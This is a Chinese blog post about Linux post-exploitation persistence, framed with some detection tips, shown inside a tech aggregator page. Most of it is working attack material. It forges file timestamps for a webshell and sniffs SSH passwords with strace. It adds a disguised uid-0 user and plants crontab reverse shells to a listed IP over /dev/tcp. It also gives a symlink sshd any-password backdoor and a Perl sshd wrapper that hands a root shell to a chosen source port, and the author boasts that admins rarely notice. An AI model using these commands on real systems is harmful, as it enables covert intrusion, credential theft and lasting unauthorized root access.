IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> Linux权限维持-隐藏、后门及排查思路 -> 正文阅读

[系统运维]Linux权限维持-隐藏、后门及排查思路

隐藏篇

一、隐藏文件、时间戳

ls -al

比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。

利用方法

touch -r index.php webshell.php

二、隐藏权限

chattr +i evil.php 锁定文件
lsattr  evil.php   属性查看
chattr -i evil.php 解除锁定
rm -rf 1.evil.php  删除文件

三、隐藏历史操作命令

四、端口复用

第一种方式:通过SSLH在同一端口上共享SSH与HTTPS

第二种方式:利用IPTables进行端口复用

#开启复用
echo threathuntercoming | socat - tcp:192.168.28.128:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.28.128
#关闭复用
echo threathunterleaving | socat - tcp:192.168.28.128:80

五、进程隐藏

1.系统函数劫持,so劫持

libprocesshider工具 利用 LD_PRELOAD 来实现系统函数的劫持,实现如下

/etc/ld.so.preload

unhide 是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在Linux,UNIX类,MS-Windows等操作系统下都可以工作

2.第二种方法:进程注入工具linux-inject

linux-inject是用于将共享对象注入Linux进程的工具

github项目地址:

可以从proc 虚拟文件系统里面 查看maps,内存里加载里哪些动态库

在这里插入图片描述

后门篇

一、抓取敏感信息

1、本地测试抓取密码

第一种方式:strace命令

在获取到目标ROOT权限后,可以直接在终端执行如下命令,该命令会监听sshd进程,并将登录过程及信息记录到/tmp/sshd.log文件中。

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/sshd.log &)

tmp目录其实不是很安全

终极方法

在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。

是文件的话浏览器访问直接输 … 就行,目录同理。

touch … 创建名字为 … 的文件

mkdir … 创建名字为 … 的文件夹

筛选密码 grep -E ‘read(6, “.+\0\0\0\.+”’ /tmp/sshd.log

第二种

首先编辑bashrc文件, vi ~/.bashrc[当前用户] 或者vi /etc/bashrc[所有用户]然后将如下命令加入文件当中并保存,注意strace权限问题。

alias ssh=‘strace -o /tmp/sshpwd-date '+%d%h%m%s'.log -e read,write,connect -s 2048 ssh’

二、添加新用户

排查特权用户(uid=0)、可远程登录用户和 sudo用户

名字和已有的相似一点!

useradd systemd-coredumpp;

一句话 添加

useradd -p `openssl passwd -1 -salt 'systemd-coredumpp' 123456` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/systemd-coredumpp systemd-coredumpp

三、crontab计划任务反弹shell

crontab -e

echo “*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.1/8888 0>&1” >/var/spool/cron/123

(crontab -l;printf "*/5 * * * * exec9<>

/dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;rno crontab for

whoami%100cn")|crontab –

四、SUID

Suid shell是一种可用于以拥有者权限运行的shell。

在这里插入图片描述

五、SSH相关

1、ssh公私钥免密登陆

在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。

排查技巧:查看/root/.ssh/authorized_keys是否被修改。

ssh-keygen生成密钥,

在服务器上留下公钥,改名为 authorized_keys

私钥修改权限 chmod 600 id_rsa.

注意修改权限

chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

ssh -i id_rsa root@ip

2、软连接

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。

在目标服务器上执行一句话后门:

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

执行完之后,任何一台机器ssh root@IP -p 8888,输入任意密码,成功登录。

排查: 进程、端口都可以发现异常, kill -s 9 PID 结束进程即可

3、PAM后门

https://blog.csdn.net/weixin_40412037/article/details/118728788

pam_unix.so 这个文件进行重新编译

做身份认证的

在这里插入图片描述

Resource used : http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html

Here is a GitHub repository containing a script automating this process of creating a backdoor: https://github.com/zephrax/linux-pam-backdoor

4、ssh wrapper

给sshd中加入一段代码,判断连接来源端口,将恶意端口来源访问传输内容重定向到/bin/sh中。

socat STDIO TCP4:10.18.180.20:22,sourceport=13377

优点:

1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。

2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。

5、openssh后门

https://www.jianshu.com/p/c1cd73b072f1

加入后门文件后,重新编译,替换原有的openssh

备份原有文件, 后期进行时间修改,防止被查到

修复方案与应急响应

1)重装openssh软件2)SSH禁止对外开放

应急响应:

1)比对ssh的版本ssh -V

2)查看ssh配置文件和/usr/sbin/sshd的时间stat /usr/sbin/sshd

3)strings检查/usr/sbin/sshd,看是否有邮箱信息strings可以查看二进制文件中的字符串,在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息,通过strings /usr/sbin/sshd可以查看到邮箱信息。

4)通过strace监控sshd进程读写文件的操作一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。

6、perl脚本SSH后门

这个ssh 后门伪装成一个perl脚本,名为sshd,位于/usr/sbin/sshd , 将系统原先的sshd 移到/usr/bin下

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

含义:
第一行, 如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(Big 网络字节序中的16进制字符串为\x00\x00zf, 正好匹配上perl正则 …zf,上述代码中的zf是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行(不会执行第二步),相当于反弹一个root shell (因为sshd 是以root权限运行的)给远程socket (一般只有攻击者指定连接的源端口才能触发这一行的执行)

第二行 启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd (这一行保证了普通用户也可以正常使用ssh 服务,登录并不会有什么异常现象

六、vim后门

https://wxiaoge.blog.csdn.net/article/details/119379149

七、strace 后门

简介

init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。

原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。

此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。

利用方法

客户端:
[root@localhost ~]# cd /usr/sbin

[root@localhost sbin]# mv sshd ../bin

[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd

[root@localhost sbin]# echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd

[root@localhost sbin]# echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd

[root@localhost sbin]# chmod u+x sshd

[root@localhost sbin]# /etc/init.d/sshd restart

控制端:
socat STDIOTCP4:target_ip:22,sourceport=19526

特点:

优势:隐蔽性较强,无需要编译,使用于大部分环境中。
劣势:需要重启sshd进程。

八、.bashrc 启动脚本后门 登陆的时候反弹shell

九、语言脚本类后门

先找web目录,然后看看脚本类型

一般/var/www/html

php

最好加到已有的文件中,并且加到文件中间

Apache mod_rootme

十、rootkit、bootkit

十一、LD_PRELOAD

参考资料

https://blog.csdn.net/qq_33020901/article/details/81773737

https://blog.csdn.net/weixin_42282189/article/details/121004208

https://blog.csdn.net/nzjdsds/article/details/82954456

https://blog.csdn.net/qq_33020901/article/details/81773737

https://www.freebuf.com/articles/system/259494.html

https://airman604.medium.com/9-ways-to-backdoor-a-linux-box-f5f83bae5a3c

https://blog.csdn.net/weixin_40412037/article/details/117447832

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-06-14 22:57:06  更:2022-06-14 22:57:28 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 15:03:31-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码